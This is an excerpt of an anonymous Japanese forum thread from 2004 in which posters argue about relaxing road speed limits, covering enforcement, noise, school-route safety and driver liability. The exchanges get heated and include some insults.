たいていの道路では気にする程のモノではないと思います。
気にするのは,それこそプロ死民くらいでしょう。

地元でも設計速度60km/hの片側2車線道路が
公安委員会の騒音・振動対策の名目で制限速度40km/hにされてましたが,
案の定スピード取締りの巣窟と化しました。日本一高い有料道路なんて呼ばれてましたね。
当然苦情の嵐。しかもなぜか市役所に。
地元議員とかも駆使し,とりあえず50km/hに緩和してもらいました。。
まあ,今もドル箱路線として取締りの巣窟ですが。

699 :613:04/03/04 22:24 ID:???
>>696
>騒音問題については、ゴネ得を狙うプロ市民連中が騒いでいるだけのような気がしてならない。
ゴネ得って言いますが、自分の家の前の道路の規制緩和に関しては、
誰でも意見を述べる権利を持ってますよ。

>鉄道関係の板を見ると分かるが、エゴ住民の我が儘言い放題の現状を知る事が出来るので、
>一度、小田急複々線スレや新幹線スレで確認してみるといい。
板発見できませんでした。スレのリンクを貼ってもらえませんか?

>それに、制限を緩和したからと言って、急激に大きくなるものでもないだろうし、
>元々の車の流れ自体は大きく変化しないように思えるが、どうだろうか。
車の流れ自体は大きく変化しなくとも、その後の対応が大きく変わってきます。
例えば、>>689の下三行です。苦情に対してや危険時に取り締まりができなくなります。
また、実際に事故が起こったときの責任の所在が変わってきます。

速度超過での事故は、ドライバーに責任の一端が必ず存在します。
裏を返せば、制限速度内での無過失の事故はドライバーに責任はありません。
速度さえ出していなければ、防げる事故または小さな事故で済むケースはたくさんあります。

国民が交通の利益と交換に受け入れなければならぬリスクは、
制限速度内での無過失の事故のみです。これ以上のリスクは勘弁願いたいです。

700 :613:04/03/04 22:44 ID:???
>>698
>たいていの道路では気にする程のモノではないと思います。
>気にするのは,それこそプロ死民くらいでしょう。
個人差によるものでしょう。
自分は耳があまりよくありませんので、ほとんど気になりませんが、
静観に価値観を見いだす人間もいることでしょうね。

>地元議員とかも駆使し,とりあえず50km/hに緩和してもらいました。。
こういう課程を踏んだ上での規制緩和には納得しますが、
課程を踏んでいない道路に関しては、
公安委員会が、独自判断でですが、ドライバーと周辺住人の利益の調整を図った上ですので、
そちらのほうを尊重したいですね。

>まあ,今もドル箱路線として取締りの巣窟ですが。
確かに自分がよく使う道路ばかり取り締まりされるのは、勘弁ですので、
もっと公平に取り締まる必要はあるかと思います。

701 :名無しさん@お腹いっぱい。:04/03/04 22:59 ID:B0sHOthn
通学児童や生徒を保護する必要は確かにあるが、それを全てドライバー側の犠牲において行うべきかどうかは疑問。
人車混合道路は別として、幹線道路であればきちんと歩道を歩いて信号を守っていれば問題ない。
そういった教育をきちんと行うのが学校や親の義務ではないでしょうか?
単独で判断力が未熟なら集団登下校などの方法もあるし、入って良い所とそうでない所の区別は親や学校がつけさせるべき。

児童は判断力が未熟だからルールを守らなくても安全を保証すべきというなら、高層建築物も立てられない。
児童が面白がってよじ登って、転落する危険がある。
樹木も転落の危険があるので植えられない。
ちなみに極論ではないよ。
自分自身、児童だった頃にはいずれも登った事があるからw

そうそう、大型犬を飼うなら児童が容易に進入出来ない設備を設置しないとダメだね。
いくら躾けをしてても、面白がって犬をからかったら噛み付く可能性は十分にあるから。

児童にとってであっても、ルールを守らずに安全に暮らせる社会なんて構築不可能です。
ルールを守ってもらうしかありませんね。

702 :名無しさん@お腹いっぱい。:04/03/04 23:10 ID:B0sHOthn
>>700
>>静観に価値観を見いだす人間

そんな事を言えばきりがない。
緑、人混み、高層建築物の圧迫感(と感じる人も結構居るらしい)など、そんな事を言っていたら都市は成立しない。
日本国中どこに住むのも自由なんだから、閑静な環境を欲する人は閑静な所に住めば良いし、喧騒の中に住みながら自分の家は閑静に保ちたいなら他の部分を切り詰めて防音の行き届いた家に住めば良い。


703 :名無しさん@お腹いっぱい。:04/03/04 23:28 ID:???
>>697
>多くはそうしてる=少しはそうしてない。この少しに対する規制が必要なのです。
ところが、現実は「少しに対する規制」ではなく「多くに対する規制」になっているんですね。
だから、不満が出たり、誰も守らなくなったりするんですよ。

>こういう課程を踏んだ上での規制緩和には納得しますが
もちろん、そのような課程を経由しての緩和を希望しています。
掲示板に書き込んだだけでは、規制が即変わるわけではないですから。
でも、掲示板がそのきっかけになればとは思いますが。

704 :名無しさん@お腹いっぱい。:04/03/04 23:41 ID:???
>板発見できませんでした。スレのリンクを貼ってもらえませんか?
とりあえず、参考になりそうなスレを貼っておきます。

【向ヶ丘遊園】小田急の複々線3【代々木上原】
http://hobby3.2ch.net/test/read.cgi/rail/1075995169/l50
【需要】新幹線大宮以南どーする?1番線【逼迫】
http://hobby3.2ch.net/test/read.cgi/rail/1071569072/l50
トンネル上の住民が苦情 九州新幹線で振動、騒音
http://hobby3.2ch.net/test/read.cgi/rail/1078299367/l50

705 :名無しさん@お腹いっぱい。:04/03/04 23:56 ID:???
>>704
(補足)
・小田急の複々線問題
 輸送力強化と踏切解消のため、小田急線の一部区間を高架複々線にする計画が昔からあったが、
 世田谷区のエゴ住民による反対運動のため、実現がかなり遅れていた。
 特に「梅ヶ丘」駅付近のDQNぶりは凄まじく、「梅DQN」と言われるまでになっている。
・東北新幹線大宮以南のノロノロ運転
 そもそも、東北新幹線大宮以南の建設自体を反対していたエゴ住民が開通と引き替えに突きつけた要求が
 埼京線開通と110km/h規制だったため、現在もノロノロ運転が続いている。
 しかし、騒音の発生は平行在来線の埼京線の方が遙かに大きく、新型車両登場で静音性が高まったにもかかわらず、
 新幹線の速度上昇に反対するエゴぶりが批判されている。エゴ住民の本音は「東北の田舎者ウゼー」なだけ。

706 :613:04/03/05 00:20 ID:???
>>701
今の論点は、「通学路における児童について」だよ。
なもんで、高層建築物のくだりは当てはまりません。

>児童にとってであっても、ルールを守らずに安全に暮らせる社会なんて構築不可能です。
>ルールを守ってもらうしかありませんね。
それでも構築しなければならないのです。

子供も交通ルールを守るように教育する。
同時に、ドライバー側も交通ルールを守りましょう。
通学路で速度を出さなければ、急な飛び出しにも対応できるのだから。

>>702
>そんな事を言えばきりがない。
きりはありますが。
静観に価値観を見いだす人と、見いださない人の平均で解決を図ればいい。
けして、ドライバーの視点のみで決定してはならんと思います。

707 :613:04/03/05 00:28 ID:???
>>703
>ところが、現実は「少しに対する規制」ではなく「多くに対する規制」になっているんですね。
>だから、不満が出たり、誰も守らなくなったりするんですよ。
危険に直結するもののみ、取り締まるべきとの意見ですか?

速度違反は、危険・迷惑だとの推定がなされます。
なんらかの危険・迷惑(通学路である、周りに住宅があるなど)を理由に、制限速度が決定されていますが、
この危険・迷惑が存在しない(通学時間でない、周りの住宅に人がいない)を理由に速度超過されているのでしょうか?
そのような判断なく、速度超過してるのが現状でしょう。

ほとんどのドライバーは、なぜその道が現状の制限速度になっているかを知らずに通行しています。
一律に制限速度内に盛り込んでいるため、いちいち制限理由を考えなくとも、周りに危険・迷惑を与えない速度が制限速度だと思われます。
実際に危険・迷惑があったか否かではなく、他人の危険と迷惑を尊重しなかったのを理由に、一律に摘発するのが公平でしょう。

>もちろん、そのような課程を経由しての緩和を希望しています。
>掲示板に書き込んだだけでは、規制が即変わるわけではないですから。
>でも、掲示板がそのきっかけになればとは思いますが。
自分はそのような課程において緩和を反対します。安全対策のために。
理由は交通事故による被害者の存在です。現在の規制においても安全対策が不十分であるのと、
規制緩和によるメリットがないためです。
リスク>メリットの関係が成立する限り反対します。

708 :613:04/03/05 00:41 ID:???
>>705
要約すると、
その道路を建設することによりリスクを受ける地域住民と、
その道路を建設することによりメリットを受ける道路利用者の構図でしょ。

地域住民が反対するのは当たり前であって、非難すべきことではないような。
立場が変われば、あなたも反対するんだしさ。

道路建設をスムーズに行うには、地域住民の理解しかあり得ない。
説得活動を続けるなり、地域住民のメリットを構築するなり、
最後は金をばらまくなりするしかないでしょ。

709 :名無しさん@お腹いっぱい。:04/03/05 01:40 ID:5/i+75lA
ココで、制限速度マンセーな方が居るけど、
お前役人だろ?

>裏を返せば、制限速度内での無過失の事故はドライバーに責任はありません。
プッ!


710 :名無しさん@お腹いっぱい。:04/03/05 01:44 ID:5/i+75lA
制限速度内での無過失の事故・・・・?

具体的にどんなケースが考えられる?

制限速度で走っていて、よこから歩行者が飛び出てきて
はねてしまった。

この場合、まず警察は「前方不注意」を約束処方しますね。


ドライバーに過失の無い事故・・・
机上の理論だな。

711 :名無しさん@お腹いっぱい。:04/03/05 03:34 ID:???
>693
なにも現実以上のスピードを制限速度にしろって言ってるわけじゃないだろ。
現実の流れに制限速度を近づけろと言っているじゃないのか?
したがって騒音は変わらない。

通学児童を守るなら制限速度なんて他力本願を言ってちゃダメだな。
守らない奴も多いことは事実であり、全員を守らせることは不可能。
したがってロードブロックで強制的に減速させるのが現実的。
費用がかかるって君、5cm〜10cmの起伏を作るだけだぜ。
他国でも結構使ってる手法だしね。

制限速度が低いのは警察の責任逃れだろ。深く考えてやってるとは思えん。
実際、北海道で直線、人家なしの2車線路肩ありの道路でも40km制限ってあるしね。

712 :名無しさん@お腹いっぱい。:04/03/05 03:43 ID:???
字が多いです!!!


713 :名無しさん@お腹いっぱい。:04/03/05 03:53 ID:Np6ppc3J
>>706
>>今の論点は、「通学路における児童について」だよ。
>>なもんで、高層建築物のくだりは当てはまりません。

きちんと読んで頂ければ分かると思いますが、「ルールを守らずに安全に暮らせる社会なんて構築不可能」の例として出したのですが。

>>児童にとってであっても、ルールを守らずに安全に暮らせる社会なんて構築不可能です。
>>ルールを守ってもらうしかありませんね。
>それでも構築しなければならないのです。

それでも、不可能なものは不可能です。
あるべき論だけでは物事は動きませんよ。
判断力に劣る児童であれば、親や学校が社会のルールを守らせるべきです。

>>通学路で速度を出さなければ、急な飛び出しにも対応できるのだから。

無理ですね。
50kmで走っていても10m先に飛び出されたら跳ねるでしょうから、歩行者は歩道を通るべきでしょう。
線路内に立ち入ってはいけないのと同じく、幹線道路の車道内に立ち入るべきではありません。



714 :名無しさん@お腹いっぱい。:04/03/05 03:57 ID:Np6ppc3J
ちなみに誤解のないように言っておきますが、人車混合の生活道路は現行の30kmで構いませんよ。
歩道が分離されていないのだから、歩道を通りようがありませんからね。
これは、通学路であるか否かを問わずです。
凹凸も含めて実効性のある対策が必要でしょうね。

あくまで歩道のある幹線道路に関してですのでお間違い無きよう。

715 :613:04/03/05 10:08 ID:???
>>710
>制限速度で走っていて、よこから歩行者が飛び出てきて
>はねてしまった。
そのケースは前方不注意ですね。

>ドライバーに過失の無い事故・・・
>机上の理論だな。
年間70万人以上が検挙される業務上過失罪の全てが、
有罪判決下ってるとでも思ってるんですか?

ドライバーに無き事故の一例。
10キロほどで徐行し、クラクションも数度鳴らした。
それでも防げなかった事故もあるのです。この事件の被害者は、幼き子供です。
↑この事件を発端に、交通事故=運転手の責任から、
交通事故でも、運転手の責任無きものもあると司法の考えは変わってきました。
かなり古い事件ですので、現在はもっと無過失の認定が甘くなってます。

興味あるのでしたら、業務上過失罪の判例を漁れば、いくらでも無過失のケースはあります。
自殺者志願者の急な飛び込みを回避できなかった事件や、
歩道橋から飛び降りた人を回避できなかった事件などありますね。

716 :613:04/03/05 10:28 ID:???
>>711
>したがって騒音は変わらない。
騒音が変わらないのに、ルールだけ甘くすればその騒音対策ができなくなってしまう。

>通学児童を守るなら制限速度なんて他力本願を言ってちゃダメだな。
>守らない奴も多いことは事実であり、全員を守らせることは不可能。
制限速度は他力本願じゃないでしょ。制限速度を守らない人は免許取り消しすればいいのだから。
>したがってロードブロックで強制的に減速させるのが現実的。
>費用がかかるって君、5cm〜10cmの起伏を作るだけだぜ。
費用が追っつき次第、対策すればいいんだけど、全国に通学路はどれだけあるのか。
また、規制緩和は、その費用を捻出するための反則金が減ってしまう。

>制限速度が低いのは警察の責任逃れだろ。深く考えてやってるとは思えん。
>実際、北海道で直線、人家なしの2車線路肩ありの道路でも40km制限ってあるしね。
北海道の郊外の道路は、事故が非常に多く、北海道警察の一番の関心事項でしょう。
北海道は全国的にも事故の多発地帯。しかも都心より郊外に多い。
また、被害者は老人や子供が多く、そのような道路は一番危険なのです。

深く考えてないのではなく、このような人の意見も聞いての制限でしょう。
http://www.ne.jp/asahi/michiwa/sapporo21/arckives/archiv-yearly/03/accidentforum/accidentforum.html

717 :613:04/03/05 10:57 ID:???
>>713
>きちんと読んで頂ければ分かると思いますが、「ルールを守らずに安全に暮らせる社会なんて構築不可能」の例として出したのですが。
通学路は児童がいて当たり前の場所であり、高層建築物はいるかもしれないという場所の違いがあるのです。
いて当たり前の場所であれば、児童の視点からルールや構造を考えなければならないのです。

>それでも、不可能なものは不可能です。
>あるべき論だけでは物事は動きませんよ。
>判断力に劣る児童であれば、親や学校が社会のルールを守らせるべきです。
これこそあるべき論です。
現状は、(存在自体が危険な)車の運転側に配慮が求められています。

なぜ、免許所持者側がルールを守らないのですか?
なぜ、判断力に劣る児童にルールを守ることを求めるのですか?

>無理ですね。
>50kmで走っていても10m先に飛び出されたら跳ねるでしょうから、歩行者は歩道を通るべきでしょう。
飛び出しされるおそれのある子供を発見すれば、速度を低下させればいいのです。

>線路内に立ち入ってはいけないのと同じく、幹線道路の車道内に立ち入るべきではありません。
線路内は鉄道会社の敷地。道路内はみんなのもの。同じには論じられません。
もし、ドライバーのみで物事を決定したいのであれば、ドライバーのみで道路を確保すべきです。
あなたの私有地のルールであれば、他人は口を挟みません。

718 :613:04/03/05 11:11 ID:???
規制緩和のメリットは何?
これがないと議論は進まない。

メリットがあって規制してるんだから、
規制緩和すれば別のメリットがある(必要性)と、
規制緩和しても規制のメリットが失われないor失っても問題にはならない(許容性)の
二点がなければ、絶対に認められませんよ。

719 :名無しさん@お腹いっぱい。:04/03/05 11:27 ID:???
>>716
>騒音対策
意味不明。現実の流れが存在してるのに騒音対策ってなに?
それとも全国全ての道路で1Km毎に検問でもしますか?

>免許取り消しすればいいのだから
同様に不可能だから意味不明
全国の全ての学校周辺で毎日検問でもしますか?

>費用を捻出
自動車重量税の使途が先日話題になったばかりですが?

>そのような道路は一番危険なのです。
そうですか? では北海道の住民の居ない直線道路での制限速度対事故比率の表でも示してください。

規制する派はいろいろ根拠を挙げてるが
現実的に可能な規制をすれば違反がなくなると言う根拠はない。
どんなに規制しても違反者は存在するものだよ。

ロンドンでは駐車違反の取締りが非常に厳しい。1km四方に2人は取締官
が居るんじゃないかと思うぐらいに居る。
一説には失業対策で大量に雇い、自らの給料を捻出してると言われるほどである。

が、駐車違反はなくならない。


720 :613:04/03/05 11:43 ID:???
>>719
規制緩和ありなしの差違部分で論じてるので、その辺の理解はよろ。
>騒音対策
騒音に対する住民からの苦情に対応できなくなる(>>689の下三行を参照)

>全国の全ての学校周辺で毎日検問でもしますか?
人的資源は限定されてるんだから、全てを対象にはできないです。
が、学校から要請があった場合にも取り締まりできない状況は困る。

>自動車重量税の使途が先日話題になったばかりですが?
自動車重量税の使途とは別論です。これでまかなえとでも?

>そうですか? では北海道の住民の居ない直線道路での制限速度対事故比率の表でも示してください。
誰も自動車専用道路の話などしてませんが。

>規制する派はいろいろ根拠を挙げてるが
>現実的に可能な規制をすれば違反がなくなると言う根拠はない。
>どんなに規制しても違反者は存在するものだよ。
根拠はなくともかまわんのです。現状維持は確保できるのだから。
で、制度改革すれば現状維持よりよくなるのであれば、制度改革もありだが、
メリットのない規制緩和であれば、必要ないですな。

>が、駐車違反はなくならない。
0は最終目的であり、減らすための努力を日々しているわけ。
0にならないなら、する意味がないってのは極論すぎるよ。

721 :名無しさん@お腹いっぱい。:04/03/05 12:44 ID:???
>>716
>規制緩和は、その費用を捻出するための反則金が減ってしまう。
いやぁ、反則金をアテにしているという本音が出ちゃいましたね。
本来、安全対策費用は税金から捻出するものであり、
反則金はあくまでペナルティーが目的のはずで、なくても問題ないもの。

>>718
>規制緩和すれば別のメリットがある
・良識的なドライバーが路上強盗的な取り締まりに怯えなくて良くなる
・スピードトラップ回避のための加減速が不要になり、交通がより円滑になる
・違反者が少数派になる事で、多くのドライバーに対する遵法意識が高まる
>規制緩和しても規制のメリットが失われないor失っても問題にはならない
・規制を緩和しても、道路環境は変わらないので、車の流れは大きく変化しない
・本当に危険なDQNドライバーだけが摘発できる(>>697で発言している「少しに対する規制」の現実化)

逆に、現在の規制(生活道路や市街地の50-60km/h規制は除く)を維持するメリットをおたずねしたい。
まあ、取り締まりによる反則金収入が大幅に減る事だけだな。ドライバー側には全くないと言っても過言ではない。

722 :613:04/03/05 13:34 ID:???
>>721
ペナルティにより徴収したものは、有効利用するものです。
なぜ、ペナルティを課せられるのか。それは、社会を危険な状態にしたためです。
ですので、速度超過がなければ必要のない安全対策は、
速度超過した人からのペナルティで補うのが合理的です。

>・良識的なドライバーが路上強盗的な取り締まりに怯えなくて良くなる
良識のあるドライバーは、現状でも交通ルールを守っているのでもともと怯える必要はありません。
またドライバーが現実にしたことへの責任追及ですので、路上強盗的要素は皆無です。

>・スピードトラップ回避のための加減速が不要になり、交通がより円滑になる
交通ルールを守っている人にとっては、初めからこのような加減速は不要です。
逆に、速度超過が交通の妨げになっているとの根拠だと思われますが。

>・違反者が少数派になる事で、多くのドライバーに対する遵法意識が高まる
違反をすれば、法が変わるとの悪しき前例ができ、
納得できなければ法を犯すという遵法意識の低下につながるかと思われます。
また、現状のルールを守ってる人間は馬鹿らしくなり、すでにある遵法意識まで失われます。

これらは、現在スピード超過を是としている人を基準にメリットを導き出していますが、
これらの人を基準にする根拠はなんでしょうか?
また、現在の法定速度(公安委員会の規制)を是としている人を基準にしたメリットはなんでしょうか?

723 :613:04/03/05 13:35 ID:???
>・規制を緩和しても、道路環境は変わらないので、車の流れは大きく変化しない
取り締まりができなくなり、交通ルールから車の流れへの関与ができなくなりますが、
この点からの車の流れへの変化はないとする根拠は何でしょうか?
現在の取り締まりに、速度超過への抑止効果はあると思われますので、少なからずとも車の流れは変化します。
・本当に危険なDQNドライバーだけが摘発できる(>>697で発言している「少しに対する規制」の現実化)
本当に危険なDQNドライバーを摘発できなくなるおそれがあります。
通学路において、通学中に危険を摘発できる交通ルールが必要なのです。
通学中以外は安全だからと規制を緩和すれば、通学中の規制もできなくなります。

また、本当に危険なDQNドライバーとは、交通ルールを守らないがために事故を起こしたドライバーのことですので、
速度超過状態にある人全てがDQNドライバー候補なのです。

>逆に、現在の規制(生活道路や市街地の50-60km/h規制は除く)を維持するメリットをおたずねしたい。
・事故の増大を回避(現状維持)。
・規制緩和による高速運転を社会が認めることとなり、これらの速度下で事故を起こした人への責任追及が困難となる。
(被害者に泣き寝入りをさせることに繋がる)

724 :名無しさん@お腹いっぱい。:04/03/05 18:11 ID:wdUBj2xm
613は事例が極端すぎる。
規制緩和なのに前提条件が規制撤廃になっておるな。

>取り締まりができなくなる。
んな事あるわけねーだろ。規制緩和したって制限速度は存在するんだからな。

>これらの速度下で事故を起こした人への責任追及が困難
このヒトは実際に自分で事故起こしたりとか,事故起こしたヒトが身近にいないようだな。
事故で実際に過失を問われるのは前方不注意とか確認不備がほとんど。
速度超過うんぬんで過失の有無が問われる事などありえない。
渋滞中のノロノロ運転での追突だって過失問われるだろ。

以上の事により責任追及うんぬんの話は例え規制緩和されようが関係ないので,
613には速度超過による危険性のみ絞って話をしていただきたい。


725 :名無しさん@お腹いっぱい。:04/03/05 18:27 ID:f5oklDo4
みんな 寒いのによくがんがっとるな 

726 :613:04/03/05 18:59 ID:???
>>724
>んな事あるわけねーだろ。規制緩和したって制限速度は存在するんだからな。
>>697からの流れを読んでる?
現状 :通学路における通学時間を考慮した規制している。
緩和派:通学時間以外は、厳しすぎるので緩和しろ。
通学時間外に適した制限速度になるため、
通学路における通学時間の取り締まりができなくなるおそれがる。

>事故で実際に過失を問われるのは前方不注意とか確認不備がほとんど。
>速度超過うんぬんで過失の有無が問われる事などありえない。
あり得ますが。前方不注意や確認不備がなくとも、
速度超過だけで過失犯に問えますので。

>以上の事により責任追及うんぬんの話は例え規制緩和されようが関係ないので,
ってことで、関係大ありです。

727 :名無しさん@お腹いっぱい。:04/03/05 19:14 ID:???
郊外郊外って田舎者の不満を聞くスレじゃないと思うんだけどなぁ
なんか自分の周りだけ規制緩和しろと聞こえるね。
ローカルの話は身近な仲間内でやってくれよ。


728 :名無しさん@お腹いっぱい。:04/03/05 19:25 ID:???
>>724

>事故で実際に過失を問われるのは前方不注意とか確認不備がほとんど。
>速度超過うんぬんで過失の有無が問われる事などありえない。
>渋滞中のノロノロ運転での追突だって過失問われるだろ。

横レスでスマンが、死亡事故の原因のトップは速度超過ですよ。
まぁよく考えれば誰でも判る事ですけどね。
前方不注意だってちゃんと速度守っていれば事故起こさずに済んだかも。
やっぱり違反で繰り返し捕まる人は自分がどんな事をしたか判っていないんだと思う。
大体小さな事故で過失犯とかどうでもいい。
死亡事故などの大事故で過失犯になったらどうするのか?


729 :名無しさん@お腹いっぱい。:04/03/05 19:50 ID:???
>>722-723
そもそも、速度規制を守っている車がどれぐらいあるのでしょうか?
市街地ではそれなりに守られているかも知れませんが、郊外では皆無に近いでしょう。
そんな状況では、そのような理屈は意味を持ちません。

>>727
これがローカルな話題か?日本全国に当てはまる現実だろ。
郊外というのは市街地と比較しての郊外だし、海外では法定速度が区分されている。
別に、特定の場所を指ししてしているわけではない。
もしかして、限定されたエリアでしか運転しないのは>>727じゃないのか?

730 :名無しさん@お腹いっぱい。:04/03/05 20:01 ID:???
>>728
そりゃ、あれだけ低かったら何でも「速度超過」に出来るよな。
あと、基本的なところで勘違いしているようだが、
緩和派は「まともに走行できるなら、規制は守る」つもりでいる。
でなければ、規制を変える意味がないし、交通違反を奨励しているわけでもない。
しかし、「違反をさせるための規制」まで守るつもりはない。

731 :613:04/03/05 20:13 ID:???
>>729
理屈も何も当たり前の批判でしょ。
>>721のメリットのうち、上二つは、
ルールを破ることにより生じたデメリットの解消なんだから。
ルールさえ守れば、初めからデメリットたり得ないわけです。

ですので、規制緩和のメリットであると同時に、
ルールを遵守することのメリットでもあるのです。
ってか、ルールを遵守してもらいたいから、
速度超過するとデメリットがあるように、わざとしてるわけです。
>>721の上二つは規制の一環なのですね。

732 :613:04/03/05 20:17 ID:???
>>730
>緩和派は「まともに走行できるなら、規制は守る」つもりでいる。
>でなければ、規制を変える意味がないし、交通違反を奨励しているわけでもない。
>しかし、「違反をさせるための規制」まで守るつもりはない。
まともに走行できる速度とは、具体的にどの程度の速度なのか。
違反をさせるための規則とは、具体的にどの規則なのか。
この辺を明確にして。

733 :613:04/03/05 20:20 ID:???
>>732補足。
明確にするとともに、根拠もよろしく。

734 :名無しさん@お腹いっぱい。:04/03/05 20:39 ID:???
とりあえず、現状イメージをグラフで表現すると、こんな感じ。

                      車
                      ▼
□□□□□□□□□□□設□□□□□□□限■■■■■ 市街地
                  ▲
                  制
                              車
                              ▼
□□□□□□□□□□□設□□□□□□□限■■■■■ 郊外一般
                  ▲
                  制
                              車
                              ▼
□□□□□□□□□□□設□□□□□□□限■■■■■ 高規格一般
              ▲
              制
                          車
                          ▼
□□□□□□□□□□□設□□□□□□□限■■■■■ 高速道路
              ▲
              制

(設:設計速度 限:限界速度 車:車の流れ 制:制限速度)

735 :名無しさん@お腹いっぱい。:04/03/05 20:43 ID:???
>>734を合理的な規制に緩和するとは、このような感じ。

                      車
                      ▼
□□□□□□□□□□□設□□□□□□□限■■■■■ 市街地
                      ▲
                      制
                              車
                              ▼
□□□□□□□□□□□設□□□□□□□限■■■■■ 郊外一般
                              ▲
                              制
                          車
                          ▼
□□□□□□□□□□□設□□□□□□□限■■■■■ 高規格道路(高速含む)
                                  ▲
                                  制

(設:設計速度 限:限界速度 車:車の流れ 制:制限速度)

736 :名無しさん@お腹いっぱい。:04/03/05 20:47 ID:???
>>734部分訂正
                          車
                          ▼
□□□□□□□□□□□設□□□□□□□限■■■■■ 高規格一般
          ▲
          制

737 :名無しさん@お腹いっぱい。:04/03/05 21:00 ID:???
>まともに走行できる速度とは、具体的にどの程度の速度なのか。
>>734-736で表現した車の流れ

>違反をさせるための規則とは、具体的にどの規則なのか。
その車の流れと比較して著しく低い制限

738 :613:04/03/05 21:07 ID:???
>>735
実際の車の流れを合理的とするのは、
大多数の人が選択しているから、民意が得られているからだと思いますが、
(欧米の考え方を導入していると思われるため)

この速度に関し、意見を言う権利を有しているにも関わらず、
その意見が反映していないものがあります。
その意見とは、交通のリスクを一身に背負ってしまった方々の意見です。
・事故を起こし、交通刑務所に入っている人
・交通事故の被害者、またその遺族

また、
・交通弱者である歩行者や自転車、
・道路周辺に住む人の意見も盛り込まれていません。
盛り込んだ結果が、制限速度だと思われるのですが、これらが反映されていません。
ドライバーのみで制限速度を決定する根拠は?

739 :通りすがりの感想:04/03/05 21:08 ID:???
このスレを一通り読んでみると、性善説と性悪説の言い争いに見えた。
規制緩和派は「多くのドライバーは規制がなくても、無謀運転はしない」という性善説を唱え、
緩和反対派は「厳しく規制しないと、ドライバー全員が無謀運転をする」という性悪説を唱える。
根本的な考えが違うから、いくら議論を重ねても結論は出ないだろうな。

ちなみに、漏れは性善説に近い考えだな。

740 :名無しさん@お腹いっぱい。:04/03/05 21:15 ID:???
>>738
交通弱者である歩行者や自転車についてですが、歩道がある道路に関しては関係ないことだし、
また、歩道のない道路は歩道のある道路と比較して車の流れが遅くなっているので、
「反映されていない」事はないと思いますが。
あと、生活道路の規制まで緩和するわけではないので、道路周辺に住む人に危害は及ばない。

741 :613:04/03/05 21:20 ID:???
>>739
>緩和反対派は「厳しく規制しないと、ドライバー全員が無謀運転をする」という性悪説を唱える。
全員ではなく、一部が無謀運転をする。ですね。
ってことで、多くは無謀運転をしないという性善説も、
一部は無謀運転をするという性悪説も、全く同じものです。

この一部を規制したいのが、緩和反対派であり、
この一部のために多くが規制されたくないが、規制緩和派だと思われます。

で、この無謀運転とは事故を起こす人たちです。本人の性格に基づくものではありません。

742 :613:04/03/05 21:35 ID:???
>>740
>交通弱者である歩行者や自転車についてですが、歩道がある道路に関しては関係ないことだし、
まず、自転車は車道を走るものです。ですので、歩道の有無は関係ないかと。
歩行者に関しても、歩道からの飛び出しもあります。

>また、歩道のない道路は歩道のある道路と比較して車の流れが遅くなっているので、
>「反映されていない」事はないと思いますが。
ドライバーの視点からの人を轢きたくないとの理由により、自己制御されていると思われますが、
歩行者からの視点の反映ではありません。歩行者が納得しているかは別問題です。
ドライバーが轢きたくないと感じる速度と、歩行者が危険を感じないかという速度は別ですので。

>あと、生活道路の規制まで緩和するわけではないので、道路周辺に住む人に危害は及ばない。
生活道路以外も、周辺住人を考慮した制限がされているのが現状です。
騒音・振動は、道路に隣接してなくても起こりえるのでしょう。特に騒音は。

40年前の規制をよしとせず、規制緩和を求めるのは、
40年前との交通を取り巻く環境の相違に基づくものだと思われますが、
ドライバーの視点から見れば、車の性能アップにより、危険がかなり減少しています。
しかし、歩行者や自転車の性能は横ばいです。

ドライバーの視点からのみ、規制を緩和するのは、交通弱者のリスクを増大していることに繋がります。

743 :613:04/03/05 21:43 ID:???
>>682で紹介したとおり、交通刑務所に入っている人は、規制を望んでいると思われます。
また、被害者・遺族も厳しい規制を望んでいます。

交通のリスクを体験していない者は、交通のさらなるメリットを望みますが、
リスクを体験した途端に意見が逆転します。
ですのでリスク知らずの現状でも、リスクを体験した人の意見は尊重すべきかと思われます。
この人達が、いくら少数派であったとしても。

744 :名無しさん@お腹いっぱい。:04/03/05 21:59 ID:???
例えば、今まで行ったことがない道路(日本とは限らない)に突然来たとする。
その道路には、標識が全くなく、制限速度や推奨速度の情報はない。
わかるのは、目で確認できる道路状況のみ。
さて、この道路はどのスピードで走るのが正しいでしょうか?

こんな問題に客観的な正解があると思いますか?
仮に答えを出したところで、出題者や回答者の主観でしかないはず。
つまり、走行速度に客観的な正解はないのである。
正解がないのなら、その道路の利用者(この場合はドライバー)の多くが
選択した速度に合わせるのが最も合理的となるでしょう。

>>742
よく考えてください。人生の全てを車の中で生活している人はいませんよね。
当然ながら、規制緩和を唱えるドライバーも歩行者の立場は経験しています。
よって、ドライバーの視点だけの意見とは言い切れないはずです。

745 :名無しさん@お腹いっぱい。:04/03/05 22:17 ID:???
>>743
では、交通事故が0になる代わりに、江戸時代の生活に戻れますか?

746 :名無しさん@お腹いっぱい。:04/03/05 22:20 ID:???
今誰がいるのさ?
とりあえず再度アンケート希望
・法定速度の見直しに賛成(Y/N)
・法定速度の緩和に賛成(Y/N)
・速度超過の取り締まり強化に賛成(Y/N)
・速度超過違反者の罰則を重くするに賛成(Y/N)
・その他、言いたい事があればここで書いてください。
 上記の質問の条件付回答は不要です

747 :名無しさん@お腹いっぱい。:04/03/05 22:26 ID:???
>>730

>しかし、「違反をさせるための規制」まで守るつもりはない。

なにが君をこんなに歪ませた発言をさせるのか知りたい
そんなに捕まった事が悔しいのか?
違反させる為の規制だなんて、本気で思ってるのか?
こういうバカには何を言っても無駄だろうな
とっととこのスレから出て行って欲しいが、絶対に出て行かないだろうな

つーかバカにはレス返さないように
俺もコレ以降は気をつけます

748 :名無しさん@お腹いっぱい。:04/03/05 22:28 ID:???
3度目だけど速度規制緩和のメリットって何よ?
もしかして誰も説明できないの??
自分の出す速度が法定速度とか思っている暴走族のような人たちか???

ほら、とっとと答えて見せろよ

749 :名無しさん@お腹いっぱい。:04/03/05 22:28 ID:???
>>746
法定速度の見直しに賛成(Y)
法定速度の緩和に賛成(Y)
速度超過の取り締まり強化に賛成(−)
速度超過違反者の罰則を重くするに賛成(−)

なお、速度規制=車の流れになれば、下2つにも賛成。
言いたいことは、簡単に言えば「制限速度を車の流れに合わせろ」ということ。

750 :名無しさん@お腹いっぱい。:04/03/05 22:33 ID:???
>>747
>つーかバカにはレス返さないように俺もコレ以降は気をつけます
スレの趣旨を理解せず、しっかりとレスしている君も相当だな(プッ

>>748
>>721でがいしゅつ。同じ事を何度も書かせるな。

751 :613:04/03/05 22:34 ID:???
>>745
そのレスって、緩和派の常套文句みたいだね。
このスレ始めてきたときにも同じこと言われたよ。
答えは、>>616の一行目。

